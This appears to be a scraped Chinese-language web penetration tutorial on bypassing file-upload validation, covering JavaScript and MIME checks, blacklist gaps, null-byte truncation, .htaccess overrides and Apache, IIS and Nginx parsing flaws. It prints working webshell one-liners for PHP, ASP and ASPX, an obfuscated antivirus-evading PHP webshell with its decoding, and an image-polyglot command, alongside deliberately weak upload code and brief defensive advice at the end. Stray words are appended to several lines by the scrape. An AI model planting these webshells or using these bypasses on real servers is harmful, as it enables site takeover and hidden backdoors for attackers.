Web站點通常會有用戶註冊的功能,當用戶註冊以後,大多數狀況下都會存在相似頭像上傳等個性化的設置,這些功能點每每存在上傳驗證方式不嚴格的安全缺陷,這些安全缺陷在Web滲透中是很是關鍵的突破口,只要通過仔細測試分析上傳驗證機制,每每就能找到繞過驗證的方法,進而上傳惡意代碼獲取整個Web業務控制權,複雜一點的狀況是配合 Web Server的解析漏洞來獲取控制權。php
一般一個文件以HTTP協議進行上傳時,將以POST請求發送至Web服務器,Web服務器接收到請求並贊成後,用戶與Web服務器將創建鏈接,並傳輸數據。通常文件上傳過程當中將會通過以下幾個檢測步驟:html
這類檢測,一般是在上傳頁面裏含有專門檢測文件上傳的JavaScript代碼,最多見的就是檢測擴展名是否合法,示例代碼以下:前端
function check() { var filename = document.getElementById("file"); var str = filename.value.split("."); var ext = str[str.length-1]; if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif') { return true; } else { alert("僅容許上傳png/jpeg/gif類型的文件!") return false; } return false; }
判斷該類檢測的方法:選擇一個禁止上傳類型的文件上傳,當點擊肯定按鈕以後,瀏覽器當即彈窗提示禁止上傳,通常就能夠判定爲客戶端JavaScript檢測,進一步肯定能夠經過配置瀏覽器HTTP代理(沒有流量通過代理就能夠證實是客戶端JavaScript檢測)。web
繞過方法:shell
服務器端檢測文件MIME類型可能的代碼以下:瀏覽器
<?php if($_FILES['userfile']['type']!="image/gif") {//檢測Content-type echo"Sorry,weonlyallowuploadingGIFimages"; exit; } $uploaddir='uploads/'; $uploadfile=$uploaddir.basename($_FILES['userfile']['name']); if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { echo"Fileisvalid,andwassuccessfullyuploaded.\n"; } else { echo"Fileuploadingfailed.\n"; } ?>
繞過方法:安全
上傳的數據包中,若是存在path(或者其餘名稱)等可以操做上傳路徑的參數,修改該參數配合解析漏洞Get Webshell,該方法通常asp系統用比較多。
例如path參數爲以下「upfile/」,能夠嘗試修改成「upfile.asp/」或者「upfile/1.asp/」或者「upfile/1.asp;.」,注意觀察返回的文件名。返回的文件名可能爲:upfile/1.asp;.201704117886.jpg,知足IIS6.0解析漏洞。服務器
黑名單檢測:
黑名單的安全性比白名單低不少,服務器端,通常會有個專門的blacklist文件,裏面會包含常見的危險腳本文件類型,例如app
html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc
bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh等等。jsp
白名單檢測:
僅容許指定的文件類型上傳,好比僅容許上傳jpg | gif | doc | pdf等類型的文件,其餘文件所有禁止。
繞過方法:
僞代碼以下:
Name = getname(http requests)//假如這一步獲取到的文件名是dama.asp .jpg Type = gettype(name)//而在該函數中,是從後往前掃描文件擴展名,因此判斷爲jpg文件 If(type == jpg) SaveFileToPath(UploadPath.name , name)//但在這裏倒是以0x00做爲文件名截斷,最後以dama.asp存入路徑裏
操做方法:上傳dama.jpg,Burp抓包,將文件名改成dama.php%00.jpg,選中%00,進行url-decode。
<FilesMatch "_php.gif"> SetHandler application/x-httpd-php </FilesMatch>
保存爲.htaccess文件。該文件的意思是,只要遇到文件名中包含有」_php.gif」字符串的,統一按照php文件來執行。該文件在Apache裏默認是啓用的,若是沒啓用,啓用方法見:http://www.jb51.net/article/25476.htm 而後就能夠上傳一個帶一句話木馬的文件,例如a_php.gif,會被當成php執行。該方法其實不是漏洞,是Apache的特性。該方法經常使用於黑客入侵網站以後,不想被發現,留一個隱蔽的後門。在PHP手冊中提到一句話,move_uploaded_file section,there is awarning which states‘If the destination file already exists, it will be overwritten.’服務器端若是採用了黑名單的形式限制上傳,可是黑名單中卻沒有.htaccess文件,那麼咱們能夠上傳.htaccess文件覆蓋掉原來的文件。
若是文件內容檢測設置的比較嚴格,那麼上傳攻擊將變得很是困難。以最多見的圖片類型內容檢測舉例。
一般,對於文件內容檢查的繞過,就是直接用一個結構完整的文件進行惡意代碼注入便可。
一個文件名爲xxx.x1.x2.x3的文件(例如:index.php.fuck), Apache會從x3的位置往x1的位置開始嘗試解析,若是x3不屬於Apache能解析的擴展名,那麼Apache會嘗試去解析x2的位置,這樣一直往前嘗試,直到遇到一個能解析的擴展名爲止。
以上集成環境都存在擴展名解析順序漏洞,而且這些環境都存在對php3文件按照php來解析這個小洞。該方法針對黑名單不全時,可以繞過。
總結存在該漏洞的Apache版本:
Apache2.0.x<=2.0.59
Apache2.2.x<=2.2.17
a.文件類型
正常:www.xxx.com/logo.jpg
觸發漏洞:www.xxx.com/logo.asp;.jpg
按照Ⅰ來訪問logo.jpg,文件會被當成是jpg圖片來解析,想辦法,可以按照Ⅱ來訪問logo.jpg,文件就會被當成asp文件來處理。(若是IIS支持PHP,那麼logo.php;.jpg也會被當成PHP文件執行)
b.文件夾類型
正常:www.xxx.com/image/logo.jpg
觸發漏洞:www.xxx.com/image.asp/logo.jpg
按照Ⅰ來訪問logo.jpg,文件會被當成是jpg圖片來解析,想辦法,可以按照Ⅱ來訪問logo.jpg,文件就會被當成asp文件來處理。(若是IIS支持PHP,那麼image.php文件夾下的文件也會被當作PHP文件解析。)
IIS7.0/7.5是對php解析時有一個相似於Nginx的解析漏洞,對任意文件名只要在URL後面追加上字符串」/任意文件名.php」就會按照php的方式去解析。(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IIS的解析漏洞不像Apache那麼模糊,針對IIS6.0,只要文件名不被重命名基本都能搞定。這裏要注意一點,對於」任意文件名/任意文件名.php」這個漏洞實際上是出現自php-cgi 的漏洞, 因此其實跟IIS自身是無關的。
目前Nginx主要有這兩種漏洞:
a.一個是對任意文件名,在後面添加」/任意文件名.php」的解析漏洞,好比本來文件名是test.jpg,能夠添加爲test.jpg/x.php進行解析攻擊。
b.低版本的Nginx能夠在任意文件名後面添加%00.php進行解析攻擊。
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37
對於」任意文件名/任意文件名.php」這個漏洞實際上是出現自php-cgi的漏洞,因此其實跟Nginx自身是無關的。
從攻擊者的角度來給上傳分類:
輕量級檢測繞過
a.繞過前端JavaScript檢測:使用Burp抓包改包。
b.繞過服務器端MIME類型檢測:使用Burp抓包改包。
路徑/文件擴展名檢測繞過
a.黑名單檢測方式
文件名大小寫繞過;
名單列表繞過;
特殊文件名繞過;
0x00截斷繞過;
.htaccess文件攻擊;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;
b.白名單檢測方式
0x00截斷繞過;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;
php : <?php @eval($_POST[‘lzx’]);?> : <?php $a = "a"."s"."s"."e"."r"."t";$a($_POST[cc]);?> asp : <% eval request(「lzx」)%> aspx : <%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>
php過狗一句話:
<?php $mt="JF9QT1N"; $ojj="QGV2YWwo"; $hsa="UWydpMGle"; $fnx="5BeSleleddKTs="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?>
分析:
$zk = "str_replace"; $ef = $zk("z", "", "zbazsze64_zdzeczodze"); = str_replace("z", "", "zbazsze64_zdzeczodze") = "base64_decode" $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); = str_replace("p","","pcprpepaptpe_fpupnpcptpipopn") = "create_function" $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); = create_function('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))) = create_function('', base64_decode(str_replace("le", "", $ojj.$mt.$hsa.$fnx))) = create_function('', base64_decode(str_replace("le", "", QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=))) = create_function('', base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")) = create_function('', "@eval($_POST['i0nAy']);")
過狗一句話總結爲:打亂字符;編碼技術;拆分組合;建立,匹配。
命令:
copy /b 1.jpg+2.php
1.關掉上傳文件的功能
若是Web應用程序不須要上傳文件的功能,則能夠直接將上傳文件的功能關閉來避免沒必要要的麻煩。打開「php.ini」文件,找到file uploads的位置,將file_uploads設置成Off。
2.限制可以上傳的文件大小
若是黑客採起接二連三地上傳文件,或是上傳極大的文件,來使Web應用程序沒有更多資源來處理其餘來訪者的請求,黑客就能夠藉此來癱瘓網站。PHP的限制機制可讓您限制容許上傳文件體積的最大值,來避免來訪者上傳太大的文件。單獨POST請求的最大值,可使用php.ini文件的upload_max_size來設置。打開「php.ini」文件,找到upload_max_size的位置,將upload_max_size設置成想要的值。
3.檢查上傳文件的類型
4.檢查上傳文件的內容
5.上傳的文件不要保存在公開的文件夾內,以免被黑客直接讀取。另外將文件的路徑隱藏起來,或是將文件名稱改爲沒有擴展名的隨機文件名,均可以增長上傳文件的安全性。
1.上傳jpg文件,抓包修改文件類型爲腳本格式(asp、aspx、php、jsp等)。 2.有些應用檢測上傳文件類型時,經過文件名中的第一個‘.’來分割文件後綴名,因此能夠嘗試上傳xxx.jpg.php(asp、aspx、jsp等)。